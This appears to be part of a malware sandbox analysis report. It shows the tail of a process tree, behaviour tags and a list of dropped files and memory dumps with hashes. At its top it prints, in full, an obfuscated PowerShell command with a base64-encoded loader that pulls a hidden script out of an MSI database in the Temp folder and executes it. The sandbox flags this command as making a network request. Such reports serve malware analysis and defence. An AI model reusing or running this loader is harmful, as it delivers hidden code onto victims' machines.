              WindowsPowerShell\v1.0\powershell.exe -nop -w h -ep bypass -c "$env:J0eYFASJIfM='C:\Users\Admin\AppData\Local\TempS117.msi';&([scriptblock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwB0AG8AcAAnADsAaQBmACgALQBuAG8AdAAgACQAZQBuAHYAOgBaAEYAbwA2AEcAYgAwAGMAWgBVAG8AegBVACkAewA7ACQAZQBuAHYAOgBaAEYAbwA2AEcAYgAwAGMAWgBVAG8AegBVAD0AJwAxACcAOwAkAHAASgBpAEoANwBTAEIAPQAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAdABlAHIAIAAiAFAAcgBvAGMAZQBzAHMASQBkAD0AJABQAEkARAAiACkALgBDAG8AbQBtAGEAbgBkAEwAaQBuAGUAOwBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgACcAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAASAA3ADUAMgAwADQANAB7AFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAAsAEMAaABhAHIAUwBlAHQAPQBDAGgAYQByAFMAZQB0AC4AVQBuAGkAYwBvAGQAZQApAF0AcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAFMASQB7AHAAdQBiAGwAaQBjACAAaQBuAHQAIABjAGIAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAcgBlAHMAZQByAHYAZQBkACwAZABlAHMAawB0AG8AcAAsAHQAaQB0AGwAZQA7AHAAdQBiAGwAaQBjACAAaQBuAHQAIAB4ACwAeQAsAHgAcwAsAHkAcwAsAHgAYwAsAHkAYwAsAGYAaQBsAGwALABmAGwAYQBnAHMAOwBwAHUAYgBsAGkAYwAgAHMAaABvAHIAdAAgAHMAaABvAHcALAByAGUAcwBlAHIAdgBlAGQAMgA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIAByAGUAcwBlAHIAdgBlAGQAMwAsAGkAbgBIACwAbwB1AHQASAAsAGUAcgByAEgAOwB9AFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAApAF0AcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAFAASQB7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABoAFAAcgBvAGMAZQBzAHMALABoAFQAaAByAGUAYQBkADsAcAB1AGIAbABpAGMAIABpAG4AdAAgAHAAaQBkACwAdABpAGQAOwB9AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIALABTAGUAdABMAGEAcwB0AEUAcgByAG8AcgA9AHQAcgB1AGUALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXACgAcwB0AHIAaQBuAGcAIABhAHAAcAAsAHMAdAByAGkAbgBnACAAYwBtAGQALABJAG4AdABQAHQAcgAgAHAAYQAsAEkAbgB0AFAAdAByACAAdABhACwAYgBvAG8AbAAgAGkAbgBoAGUAcgBpAHQALAB1AGkAbgB0ACAAZgBsAGEAZwBzACwASQBuAHQAUAB0AHIAIABlAG4AdgAsAHMAdAByAGkAbgBnACAAZABpAHIALAByAGUAZgAgAFMASQAgAHMAaQAsAG8AdQB0ACAAUABJACAAcABpACkAOwBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAaQBuAHQAIABSAHUAbgAoAHMAdAByAGkAbgBnACAAYwBvAG0AbQBhAG4AZAApAHsAUwBJACAAcwBpAD0AbgBlAHcAIABTAEkAKAApADsAcwBpAC4AYwBiAD0ATQBhAHIAcwBoAGEAbAAuAFMAaQB6AGUATwBmACgAdAB5AHAAZQBvAGYAKABTAEkAKQApADsAcwBpAC4AZgBsAGEAZwBzAD0AMQA7AFAASQAgAHAAaQA7AHUAaQBuAHQAIABmAGwAYQBnAHMAPQAwAHgAMAA5ADAAMAAwADIAMAAwADsAaQBmACgAIQBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAKABuAHUAbABsACwAYwBvAG0AbQBhAG4AZAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAGYAYQBsAHMAZQAsAGYAbABhAGcAcwAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAG4AdQBsAGwALAByAGUAZgAgAHMAaQAsAG8AdQB0ACAAcABpACkAKQB7AGYAbABhAGcAcwA9ADAAeAAwADgAMAAwADAAMAAwADAAOwBpAGYAKAAhAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwAoAG4AdQBsAGwALABjAG8AbQBtAGEAbgBkACwASQBuAHQAUAB0AHIALgBaAGUAcgBvACwASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAZgBhAGwAcwBlACwAZgBsAGEAZwBzACwASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAbgB1AGwAbAAsAHIAZQBmACAAcwBpACwAbwB1AHQAIABwAGkAKQApAHIAZQB0AHUAcgBuACAAMAA7AH0AcgBlAHQAdQByAG4AIABwAGkALgBwAGkAZAA7AH0AfQAnADsAaQBmACgAWwBIADcANQAyADAANAA0AF0AOgA6AFIAdQBuACgAJABwAEoAaQBKADcAUwBCACkAIAAtAGcAdAAgADAAKQB7AGUAeABpAHQAIAAwAH0AOwB9ADsAJABHAGcAMQBuADgAYwBLAFAAcAB3AHgAYQBvAGcAPQAkAGUAbgB2ADoASgAwAGUAWQBGAEEAUwBKAEkAZgBNADsAaQBmACgALQBuAG8AdAAgACQARwBnADEAbgA4AGMASwBQAHAAdwB4AGEAbwBnACkAewByAGUAdAB1AHIAbgB9ADsAJABhAG4ANgA0ADgAMQA0ADAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBOADYANAA4ADEANAAwACcAKQA7ACQAYQBiADYANAA4ADEANAAwAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAGEAbgA2ADQAOAAxADQAMAAsAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEUAbQBpAHQALgBBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgBBAGMAYwBlAHMAcwBdADoAOgBSAHUAbgApADsAJABtAG8ANgA0ADgAMQA0ADAAPQAkAGEAYgA2ADQAOAAxADQAMAAuAEQAZQBmAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAKAAnAG0ANgA0ADgAMQA0ADAAJwApADsAJAB0AGIANgA0ADgAMQA0ADAAPQAkAG0AbwA2ADQAOAAxADQAMAAuAEQAZQBmAGkAbgBlAFQAeQBwAGUAKAAnAFQANgA0ADgAMQA0ADAAJwAsAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAFQAeQBwAGUAQQB0AHQAcgBpAGIAdQB0AGUAcwBdACcAUAB1AGIAbABpAGMALABCAGUAZgBvAHIAZQBGAGkAZQBsAGQASQBuAGkAdAAnACkAOwAkAGEAdAA2ADQAOAAxADQAMAA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEEAdAB0AHIAaQBiAHUAdABlAHMAXQAnAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwA7ACQAYwB2ADYANAA4ADEANAAwAD0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkADsAJAB3AG4ANgA0ADgAMQA0ADAAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEMAYQBsAGwAaQBuAGcAQwBvAG4AdgBlAG4AdABpAG8AbgBdADoAOgBXAGkAbgBhAHAAaQA7ACQAYQB1ADYANAA4ADEANAAwAD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBDAGgAYQByAFMAZQB0AF0AOgA6AEEAdQB0AG8AOwAkAHUAbgA2ADQAOAAxADQAMAA9AFsAUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4AQwBoAGEAcgBTAGUAdABdADoAOgBVAG4AaQBjAG8AZABlADsAJABhAHMANgA0ADgAMQA0ADAAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEMAaABhAHIAUwBlAHQAXQA6ADoAQQBuAHMAaQA7AGYAdQBuAGMAdABpAG8AbgAgAFAASQA2ADQAOAAxADQAMAAoACQAbgAsACQAZABsAGwALAAkAHIAZQB0ACwAJABwAHMALAAkAGMAcwApAHsAJABtAD0AJAB0AGIANgA0ADgAMQA0ADAALgBEAGUAZgBpAG4AZQBQAEkAbgB2AG8AawBlAE0AZQB0AGgAbwBkACgAJABuACwAJABkAGwAbAAsACQAYQB0ADYANAA4ADEANAAwACwAJABjAHYANgA0ADgAMQA0ADAALAAkAHIAZQB0ACwAJABwAHMALAAkAHcAbgA2ADQAOAAxADQAMAAsACQAYwBzACkAOwAkAG0ALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBzACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4ATQBlAHQAaABvAGQASQBtAHAAbABBAHQAdAByAGkAYgB1AHQAZQBzAF0AOgA6AFAAcgBlAHMAZQByAHYAZQBTAGkAZwApAH0AOwBQAEkANgA0ADgAMQA0ADAAIAAnAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACcAIAAnAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACcAIAAoAFsASQBuAHQAUAB0AHIAXQApACAAKABbAHQAeQBwAGUAWwBdAF0AQAAoAFsASQBuAHQAUAB0AHIAXQAsAFsAVQBJAG4AdABQAHQAcgBdACwAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAJwAgACcAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAJwAgACgAWwBiAG8AbwBsAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAFUASQBuAHQAUAB0AHIAXQAsAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAFUASQBuAHQAUAB0AHIAXQAsAFsASQBuAHQAUAB0AHIAXQAsAFsASQBuAHQAUAB0AHIAXQAsAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBMAG8AYQBkAEwAaQBiAHIAYQByAHkAQQAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHMAdAByAGkAbgBnAF0AKQApACAAJABhAHMANgA0ADgAMQA0ADAAOwBQAEkANgA0ADgAMQA0ADAAIAAnAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAHMAdAByAGkAbgBnAF0AKQApACAAJABhAHMANgA0ADgAMQA0ADAAOwBQAEkANgA0ADgAMQA0ADAAIAAnAE0AcwBpAE8AcABlAG4ARABhAHQAYQBiAGEAcwBlACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwBzAHQAcgBpAG4AZwBdACwAWwBJAG4AdABQAHQAcgBdACwAWwB1AGkAbgB0ADMAMgBdAC4ATQBhAGsAZQBCAHkAUgBlAGYAVAB5AHAAZQAoACkAKQApACAAJAB1AG4ANgA0ADgAMQA0ADAAOwBQAEkANgA0ADgAMQA0ADAAIAAnAE0AcwBpAEQAYQB0AGEAYgBhAHMAZQBPAHAAZQBuAFYAaQBlAHcAJwAgACcAbQBzAGkALgBkAGwAbAAnACAAKABbAHUAaQBuAHQAMwAyAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHUAaQBuAHQAMwAyAF0ALABbAHMAdAByAGkAbgBnAF0ALABbAHUAaQBuAHQAMwAyAF0ALgBNAGEAawBlAEIAeQBSAGUAZgBUAHkAcABlACgAKQApACkAIAAkAHUAbgA2ADQAOAAxADQAMAA7AFAASQA2ADQAOAAxADQAMAAgACcATQBzAGkAVgBpAGUAdwBFAHgAZQBjAHUAdABlACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBNAHMAaQBWAGkAZQB3AEYAZQB0AGMAaAAnACAAJwBtAHMAaQAuAGQAbABsACcAIAAoAFsAdQBpAG4AdAAzADIAXQApACAAKABbAHQAeQBwAGUAWwBdAF0AQAAoAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBNAHMAaQBSAGUAYwBvAHIAZABSAGUAYQBkAFMAdAByAGUAYQBtACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYANAA4ADEANAAwADsAUABJADYANAA4ADEANAAwACAAJwBNAHMAaQBDAGwAbwBzAGUASABhAG4AZABsAGUAJwAgACcAbQBzAGkALgBkAGwAbAAnACAAKABbAHUAaQBuAHQAMwAyAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHUAaQBuAHQAMwAyAF0AKQApACAAJABhAHUANgA0ADgAMQA0ADAAOwAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAPQAkAHQAYgA2ADQAOAAxADQAMAAuAEMAcgBlAGEAdABlAFQAeQBwAGUAKAApADsAJABJAG4AQQBBAHMAUwBoAHEARAAxAEQARQAzAD0AJwBLAFMAegBGAFkAZwBnAFEAegBaAEgAUgAnADsAJABkAGIAOQAxADcANgA9AFsAdQBpAG4AdAAzADIAXQAwADsAJABjADMANAA4ADYAPQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAE8AcABlAG4ARABhAHQAYQBiAGEAcwBlACgAJABHAGcAMQBuADgAYwBLAFAAcAB3AHgAYQBvAGcALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAHIAZQBmAF0AJABkAGIAOQAxADcANgApADsAaQBmACgAJABjADMANAA4ADYAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAbwBwAGUAbgAnAH0AOwAkAHYAdwAxADEANwA3AD0AWwB1AGkAbgB0ADMAMgBdADAAOwAkAHIAYwA5ADAANAA2AD0AWwB1AGkAbgB0ADMAMgBdADAAOwB0AHIAeQB7ADsAJABrADgANwA4ADAAPQBbAGMAaABhAHIAXQA5ADYAOwAkAHEANwAzADUAMQA9ACcAUwBFAEwARQBDAFQAIAAnACsAJABrADgANwA4ADAAKwAnAEQAYQB0AGEAJwArACQAawA4ADcAOAAwACsAJwAgAEYAUgBPAE0AIAAnACsAJABrADgANwA4ADAAKwAnAEIAaQBuAGEAcgB5ACcAKwAkAGsAOAA3ADgAMAArACcAIABXAEgARQBSAEUAIAAnACsAJABrADgANwA4ADAAKwAnAE4AYQBtAGUAJwArACQAawA4ADcAOAAwACsAIgA9ACcAIgArACQASQBuAEEAQQBzAFMAaABxAEQAMQBEAEUAMwAuAFIAZQBwAGwAYQBjAGUAKAAiACcAIgAsACIAJwAnACIAKQArACIAJwAiADsAJABjADMANAA4ADYAPQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAEQAYQB0AGEAYgBhAHMAZQBPAHAAZQBuAFYAaQBlAHcAKAAkAGQAYgA5ADEANwA2ACwAJABxADcAMwA1ADEALABbAHIAZQBmAF0AJAB2AHcAMQAxADcANwApADsAaQBmACgAJABjADMANAA4ADYAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAdgBpAGUAdwAnAH0AOwAkAGMAMwA0ADgANgA9ACQAbQB6ADIAeAAzAFMAYQB4AFUAbABlAFQAYgA6ADoATQBzAGkAVgBpAGUAdwBFAHgAZQBjAHUAdABlACgAJAB2AHcAMQAxADcANwAsAFsAdQBpAG4AdAAzADIAXQAwACkAOwBpAGYAKAAkAGMAMwA0ADgANgAgAC0AbgBlACAAMAApAHsAdABoAHIAbwB3ACAAJwBlAHgAZQBjACcAfQA7ACQAYwAzADQAOAA2AD0AJABtAHoAMgB4ADMAUwBhAHgAVQBsAGUAVABiADoAOgBNAHMAaQBWAGkAZQB3AEYAZQB0AGMAaAAoACQAdgB3ADEAMQA3ADcALABbAHIAZQBmAF0AJAByAGMAOQAwADQANgApADsAaQBmACgAJABjADMANAA4ADYAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAZgBlAHQAYwBoACcAfQA7ACQAbgA2ADcAOQAwAD0AWwBpAG4AdAAzADIAXQAwADsAJABjADMANAA4ADYAPQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAFIAZQBjAG8AcgBkAFIAZQBhAGQAUwB0AHIAZQBhAG0AKAAkAHIAYwA5ADAANAA2ACwAWwB1AGkAbgB0ADMAMgBdADEALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAHIAZQBmAF0AJABuADYANwA5ADAAKQA7AGkAZgAoACQAYwAzADQAOAA2ACAALQBuAGUAIAAwACkAewB0AGgAcgBvAHcAIAAnAGwAZQBuACcAfQA7ACQAcAA0ADAAMwAzAD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAWwBpAG4AdABdACQAbgA2ADcAOQAwACkAOwB0AHIAeQB7ADsAJABnADMANwAyADcAPQBbAGkAbgB0ADMAMgBdACQAbgA2ADcAOQAwADsAJABjADMANAA4ADYAPQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAFIAZQBjAG8AcgBkAFIAZQBhAGQAUwB0AHIAZQBhAG0AKAAkAHIAYwA5ADAANAA2ACwAWwB1AGkAbgB0ADMAMgBdADEALAAkAHAANAAwADMAMwAsAFsAcgBlAGYAXQAkAGcAMwA3ADIANwApADsAaQBmACgAJABjADMANAA4ADYAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAcgBlAGEAZAAnAH0AOwAkAGEAegBMAHcAQQBXAEsAMQBEAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAKABbAGkAbgB0AF0AJABnADMANwAyADcAKQA7AFsAUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBDAG8AcAB5ACgAJABwADQAMAAzADMALAAkAGEAegBMAHcAQQBXAEsAMQBEACwAMAAsAFsAaQBuAHQAXQAkAGcAMwA3ADIANwApADsAfQBmAGkAbgBhAGwAbAB5AHsAWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEYAcgBlAGUASABHAGwAbwBiAGEAbAAoACQAcAA0ADAAMwAzACkAfQA7AH0AZgBpAG4AYQBsAGwAeQB7ADsAaQBmACgAJAByAGMAOQAwADQANgAgAC0AbgBlACAAMAApAHsAWwB2AG8AaQBkAF0AJABtAHoAMgB4ADMAUwBhAHgAVQBsAGUAVABiADoAOgBNAHMAaQBDAGwAbwBzAGUASABhAG4AZABsAGUAKAAkAHIAYwA5ADAANAA2ACkAfQA7AGkAZgAoACQAdgB3ADEAMQA3ADcAIAAtAG4AZQAgADAAKQB7AFsAdgBvAGkAZABdACQAbQB6ADIAeAAzAFMAYQB4AFUAbABlAFQAYgA6ADoATQBzAGkAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAJAB2AHcAMQAxADcANwApAH0AOwBbAHYAbwBpAGQAXQAkAG0AegAyAHgAMwBTAGEAeABVAGwAZQBUAGIAOgA6AE0AcwBpAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoACQAZABiADkAMQA3ADYAKQA7AH0AOwAkAEkAbgBBAEEAcwBTAGgAcQBEADEARABFADMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAHoATAB3AEEAVwBLADEARAApADsAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABJAG4AQQBBAHMAUwBoAHEARAAxAEQARQAzACkAKQA='))))"
              3⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5732

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e59910e.rbs
              • Path C:\Config.Msi\e59910e.rbs
              • Size 8KB
              • SHA256 3e7e70c7e0d8e3e2087fdab27a6a0a4aece58f6f0b50a226487aef68ecb3a071
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              powershell.exe.log
              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 7f8f97ee615f534fb3a3d4ab1d554cd33b788f10c559754714d1e7ce0726b362
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 fa74822cc0dd490facfef42e61e085a4fa8a719c2b7d74a063f47f7a04ca4efe
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              TempS117.msi
              • Path C:\Users\Admin\AppData\Local\TempS117.msi
              • Size 2.2MB
              • SHA256 570f340a028afee14b0d0a4415ed1466167820beb656071d619051db74cd140e
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              3mi1kuxw.dll
              • Path C:\Users\Admin\AppData\Local\Temp\3mi1kuxw\3mi1kuxw.dll
              • Size 4KB
              • SHA256 bc1a42dc99473f1333bad3238e4acbeaa26a94cf03ec5a9e14ad251c2a12c48b
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              RES9783.tmp
              • Path C:\Users\Admin\AppData\Local\Temp\RES9783.tmp
              • Size 1KB
              • SHA256 10a9aaac9e011c40f21e9b84792ca3a9dfd9877b2a5127debf2426f303b42ab0
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              __PSScriptPolicyTest_1leqnr1q.bys.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1leqnr1q.bys.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              3mi1kuxw.0.cs
              • Path \??\c:\Users\Admin\AppData\Local\Temp\3mi1kuxw\3mi1kuxw.0.cs
              • Size 994B
              • SHA256 ed6cb4e076706c8fbe08fd0c88e4543a5df362617b3f395cbf06b166ed8d3853
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              3mi1kuxw.cmdline
              • Path \??\c:\Users\Admin\AppData\Local\Temp\3mi1kuxw\3mi1kuxw.cmdline
              • Size 369B
              • SHA256 2954ac75a5631ff7ce8768173625b40e4978bd56360f110e5dfe20ac5bfe6620
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              CSCF36DCDD64CF54C04A2F5DA18F31FEB73.TMP
              • Path \??\c:\Users\Admin\AppData\Local\Temp\3mi1kuxw\CSCF36DCDD64CF54C04A2F5DA18F31FEB73.TMP
              • Size 652B
              • SHA256 5333d165dcac66eadbacdc2b2d0502caf3d59a497ae52a4f5086f8d284250306
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/3364-76-0x00000288896B0000-0x000002888A172000-memory.dmp
              Download

              memory/5544-19-0x00000168766E0000-0x0000016876702000-memory.dmp
              Download

              memory/5544-30-0x0000016876D20000-0x0000016876D4A000-memory.dmp
              Download

              memory/5544-45-0x0000016876AA0000-0x0000016876AA8000-memory.dmp
              Download

              memory/5544-27-0x0000016876A90000-0x0000016876AAC000-memory.dmp
              Download

              memory/5544-31-0x0000016876D20000-0x0000016876D44000-memory.dmp
              Download

              memory/5544-29-0x0000016876B70000-0x0000016876B7A000-memory.dmp
              Download

              memory/5544-48-0x000001685D800000-0x000001685E2C2000-memory.dmp
              Download

              memory/5544-28-0x0000016876AB0000-0x0000016876B63000-memory.dmp
              Download

              memory/5732-57-0x0000000140000000-0x0000000140114000-memory.dmp
              Download

              memory/5732-59-0x0000021458BA0000-0x0000021458BA2000-memory.dmp
              Download

              memory/5732-69-0x0000021458A90000-0x0000021458B0A000-memory.dmp
              Download

              memory/5732-74-0x0000000140000000-0x0000000140114000-memory.dmp
              Download

              memory/5732-75-0x000002143F590000-0x0000021440052000-memory.dmp
              Download

              memory/5780-43-0x0000019369B80000-0x000001936A642000-memory.dmp
              Download